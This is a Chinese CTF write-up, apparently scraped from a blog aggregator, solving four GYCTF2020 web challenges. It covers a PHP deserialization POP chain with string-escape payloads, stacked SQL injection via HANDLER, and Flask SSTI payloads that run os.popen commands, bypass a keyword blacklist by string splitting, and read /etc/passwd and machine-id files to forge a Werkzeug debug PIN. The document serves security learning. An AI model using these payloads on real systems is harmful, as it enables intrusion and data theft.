当前位置: 首页 > news >正文

GYCTF2020

[GYCTF2020]Easyphp

一道代审的好题!

一个管理系统的登录页面,目录扫描,www.zip源码泄露,那么开始代码审计!

index.php

<?php
require_once "lib.php";if(isset($_GET['action'])){require_once(__DIR__."/".$_GET['action'].".php");
}
else{if($_SESSION['login']==1){echo "<script>window.location.href='./index.php?action=update'</script>";}else{echo "<script>window.location.href='./index.php?action=login'</script>";}
}
?>

一个通过action进行包含当前目录下的文件,由于__DIR__/的出现导致难以成为文件包含漏洞!

login.php

<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>login</title>
<center><form action="login.php" method="post" style="margin-top: 300"><h2>百万前端的用户信息管理系统</h2><h3>半成品系统 留后门的程序员已经跑路</h3><input type="text" name="username" placeholder="UserName" required><br><input type="password" style="margin-top: 20" name="password" placeholder="password" required><br><button style="margin-top:20;" type="submit">登录</button><br><img src='img/1.jpg'>大家记得做好防护</img><br><br>
<?php 
$user=new user();
if(isset($_POST['username'])){if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){die("<br>Damn you, hacker!");}if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){die("Damn you, hacker!");}$user->login();
}
?></form>
</center>

主要有个类的实例化,创建了一个对象,且最后调用了login()方法!然后就是做了防sql注入(基本上注入有点难)

update.php

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){require_once("flag.php");echo $flag;
}?>

同样调用了update()方法!但是只要登录成功,即$_SESSION['login']===1就能拿flag!

所以至此我们的思维焦点就是放在3个点:

1,login.php的方法调用

2,update.php的方法调用

3,如何$_SESSION['login']===1

lib.php

<?php
error_reporting(0);
session_start();
function safe($parm){$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");return str_replace($array,'hacker',$parm);
}
class User
{public $id;public $age=null;public $nickname=null;public function login() {if(isset($_POST['username'])&&isset($_POST['password'])){$mysqli=new dbCtrl();$this->id=$mysqli->login('select id,password from user where username=?');if($this->id){$_SESSION['id']=$this->id;$_SESSION['login']=1;echo "你的ID是".$_SESSION['id'];echo "你好!".$_SESSION['token'];echo "<script>window.location.href='./update.php'</script>";return $this->id;}}
}public function update(){$Info=unserialize($this->getNewinfo());$age=$Info->age;$nickname=$Info->nickname;$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//这个功能还没有写完 先占坑}public function getNewInfo(){$age=$_POST['age'];$nickname=$_POST['nickname'];return safe(serialize(new Info($age,$nickname)));}public function __destruct(){return file_get_contents($this->nickname);//危}public function __toString(){$this->nickname->update($this->age);return "0-0";}
}
class Info{public $age;public $nickname;public $CtrlCase;public function __construct($age,$nickname){$this->age=$age;$this->nickname=$nickname;}public function __call($name,$argument){echo $this->CtrlCase->login($argument[0]);}
}
Class UpdateHelper{public $id;public $newinfo;public $sql;public function __construct($newInfo,$sql){$newInfo=unserialize($newInfo);$upDate=new dbCtrl();}public function __destruct(){echo $this->sql;}
}
class dbCtrl
{public $hostname="127.0.0.1";public $dbuser="root";public $dbpass="root";public $database="test";public $name;public $password;public $mysqli;public $token;public function __construct(){$this->name=$_POST['username'];$this->password=$_POST['password'];$this->token=$_SESSION['token'];}public function login($sql){$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);if ($this->mysqli->connect_error) {die("连接失败,错误:" . $this->mysqli->connect_error);}$result=$this->mysqli->prepare($sql);$result->bind_param('s', $this->name);$result->execute();$result->bind_result($idResult, $passwordResult);$result->fetch();$result->close();if ($this->token=='admin') {return $idResult;}if (!$idResult) {echo('用户不存在!');return false;}if (md5($this->password)!==$passwordResult) {echo('密码错误!');return false;}$_SESSION['token']=$this->name;return $idResult;}public function update($sql){//还没来得及写}
}

想要通过login.php使得$_SESSION['login']=1就只有下面这种可能

if($this->id){$_SESSION['id']=$this->id;$_SESSION['login']=1;echo "你的ID是".$_SESSION['id'];echo "你好!".$_SESSION['token'];echo "<script>window.location.href='./update.php'</script>";return $this->id;}

即这个必须返回true

    public function login($sql){$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);if ($this->mysqli->connect_error) {die("连接失败,错误:" . $this->mysqli->connect_error);}$result=$this->mysqli->prepare($sql);$result->bind_param('s', $this->name);$result->execute();$result->bind_result($idResult, $passwordResult);$result->fetch();$result->close();if ($this->token=='admin') {return $idResult;}if (!$idResult) {echo('用户不存在!');return false;}if (md5($this->password)!==$passwordResult) {echo('密码错误!');return false;}$_SESSION['token']=$this->name;return $idResult;}

此时的查询语句是select id,password from user where username=?

这里没有注入可能,具体参考我的另一篇文章:从ctf引发对with rollup语句的思考-CSDN博客

那么只能看看update.php里面对象对方法的调用了

public function update(){$Info=unserialize($this->getNewinfo());$age=$Info->age;$nickname=$Info->nickname;$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//这个功能还没有写完 先占坑}public function getNewInfo(){$age=$_POST['age'];$nickname=$_POST['nickname'];return safe(serialize(new Info($age,$nickname)));}

很明显就不管其他的,$Info=unserialize($this->getNewinfo());就这点,反序列化的内容我们可以控制,那不就是反序列化漏洞了嘛,如果可以打通链子的话!其他的都不用去看

找链子:UpdateHelper:__destruct方法-->User的__toString-->Info的__call方法-->dbCtrl的login

关键在这个:dbCtrl的login,我们要用它干嘛呢?

$_SESSION['token']=$this->name;就是这个,我们让它等于admin!

怎么做?函数接受的参数$sql可控,我们让它select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?那么这样并控制了返回的id的password(1的md5值)

exp:

<?php
class User
{public $age=null;public $nickname=null;public function __construct(){$this->age='select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';$this->nickname=new Info();}
}class Info{public $CtrlCase;public function __construct(){$this->CtrlCase=new dbCtrl();}
}
Class UpdateHelper{public $sql;public function __construct(){$this->sql=new User();}
}
class dbCtrl
{public $name='admin';public $password='1';
}
$a = new UpdateHelper();
echo serialize($a);
?>

这么去触发这个链子?

我们反序列化的其实是这个类

class Info{public $age=1;public $nickname='aaa';public $CtrlCase;
}

但是我们可以控制其中的两个属性

我们对其进行字符串增加逃逸

明确要逃逸的字符:

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}
经计算:264个,那么就是52个*2个load

那么payload就是:

update.php

post:

age=1&nickname=****************************************************loadload";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}

这么一搞,$_SESSION['token']==‘admin'。

然后在login.php页面用户名输入admin,那么肯定会返回id和password,就会进入到

if ($this->token=='admin') {return $idResult;
}

那么就可以拿到flag!

总结

先是一个虚假的文件包含,利用不了!然后慢慢有序地审出个反序列化!那么就是找链子,之后就是想如何触发!值得深思,代审的流程

[GYCTF2020]Blacklist

黑名单都出来了!

堆叠呗!

?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;%23

handler用于生成一个句柄(间接指针)

[GYCTF2020]FlaskApp

在解密的地方报错出部分源码和python解释器的位置

@app.route('/decode',methods=['POST','GET'])def decode():if request.values.get('text') :text = request.values.get("text")text_decode = base64.b64decode(text.encode())tmp = "结果 : {0}".format(text_decode.decode())if waf(tmp) :flash("no no no !!")return redirect(url_for('decode'))res =  render_template_string(tmp)flash( res )

很明显是一个ssti

由于要加密和解密,懒得一步步去测,干脆用个万能点的

控制块 {%%} 同样也是渲染,可以声明变量,也可以执行语句

{%for c in x.__class__.__base__.__subclasses__() %} {%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{%endif %}{%endfor %}

把源码搞到

from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)class NameForm(FlaskForm):text = StringField('BASE64加密',validators= [DataRequired()])submit = SubmitField('提交')
class NameForm1(FlaskForm):text = StringField('BASE64解密',validators= [DataRequired()])submit = SubmitField('提交')def waf(str):black_list = ["flag","os","system","popen","import","eval","chr","request","subprocess","commands","socket","hex","base64","*","?"]for x in black_list :if x in str.lower() :return 1@app.route('/hint',methods=['GET'])
def hint():txt = "失败乃成功之母!!"return render_template("hint.html",txt = txt)@app.route('/',methods=['POST','GET'])
def encode():if request.values.get('text') :text = request.values.get("text")text_decode = base64.b64encode(text.encode())tmp = "结果  :{0}".format(str(text_decode.decode()))res =  render_template_string(tmp)flash(tmp)return redirect(url_for('encode'))else :text = ""form = NameForm(text)return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")@app.route('/decode',methods=['POST','GET'])
def decode():if request.values.get('text') :text = request.values.get("text")text_decode = base64.b64decode(text.encode())tmp = "结果 : {0}".format(text_decode.decode())if waf(tmp) :flash("no no no !!")return redirect(url_for('decode'))res =  render_template_string(tmp)flash( res )return redirect(url_for('decode'))else :text = ""form = NameForm1(text)return render_template("index.html",form = form, method = "解密" , img = "flask1.png")@app.route('/<name>',methods=['GET'])
def not_found(name):return render_template("404.html",name = name)if __name__ == '__main__':app.run(host="0.0.0.0", port=5000, debug=True)
black_list = ["flag","os","system","popen","import","eval","chr","request","subprocess","commands","socket","hex","base64","*","?"]

就过滤了这些玩意直接使用拼接绕过!

payload:

{% for c in x.__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls /').read()}}{% endif %}{% endfor %}

{%for c in x.__class__.__base__.__subclasses__() %} {%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{%endif %}{%endfor %}

拿到flag!!!

讲讲第二种方法:

为什么会报错?其实是一个debug的页面,也就是说我们把pin值破解就可以拿到shell!

破解pin码:

username当前程序的用户名,通过/etc/passwd可以获取

modname,默认是flask.app

当前对象名称 默认是Flask

flask包内的app.py的绝对路径,刚刚报错出来了

Mac地址,通过/sys/class/net/eth0/address获取

机器码:这个分docker机和非docker机器

{%for c in x.__class__.__base__.__subclasses__() %} {%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read()}}{%endif %}{%endfor %}

{%for c in x.__class__.__base__.__subclasses__() %} {%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read()}}{%endif %}{%endfor %}

{%for c in x.__class__.__base__.__subclasses__() %} {%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/etc/machine-id','r').read()}}{%endif %}{%endfor %}

{%for c in x.__class__.__base__.__subclasses__() %} {%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read()}}{%endif %}{%endfor %}

后面没啥说的了!

[GYCTF2020]Ezsqli

根据页面的回显发现可以打盲注,但是information被ban了

参考前面写的一篇文章:从information被ban到无列名注入-CSDN博客

这题我在文章里面也写了!

http://www.dtcms.com/a/503294.html

相关文章:

  • 2025-10-19 hetao1733837刷题记录
  • 批量字符替换工具,支持多种格式
  • 50.情感分析:AI读懂你的心情
  • 嵌入式Linux开发环境学习(二)
  • 分析静态代码分析工具
  • unix做网站常用的数据库用php做网站后台
  • Fiddler抓包+Postman实战之--客户关系管理软件自动化测试
  • 『 数据库 』MySQL复习 - 从更新删除到分组聚合查询实践
  • 力扣2025.10.19每日一题
  • 广州站扩建百度系app
  • 品牌微信网站开发企业网站排版规则
  • Java Socket 多线程实例
  • 机器学习01——概述
  • es的docker部署和docker相关的可可视化面板工具介绍
  • Java 反射机制深度剖析:性能与安全性的那些坑
  • SQLDeveloper 调试存储过程ORA-24247
  • 网站虚拟主机过期云霄县建设局网站
  • 如何通过共享内存和寄存器溢出优化CUDA内核性能
  • ArcMap转化图片为TIF
  • Kubernetes(K8s) —— 部署(保姆级教程)
  • 用 Python 写一个自动化办公小助手
  • 《二叉树“防塌”指南:AVL 树如何用旋转 “稳住” 平衡?》
  • 网站制作wap页面wordpress微信公众平台开发
  • 分解如何利用c++修复小程序的BUG
  • 若依微服务 nacos的配置文件
  • 63.【.NET8 实战--孢子记账--从单体到微服务--转向微服务】--新增功能--预算告警
  • 网站建设没有业务怎么办德州网架公司
  • 九成自动化备份知乎专栏
  • 圆形平面阵列与平面方形阵的导向矢量:原理与实现
  • Altium Designer(AD24)Help帮助功能总结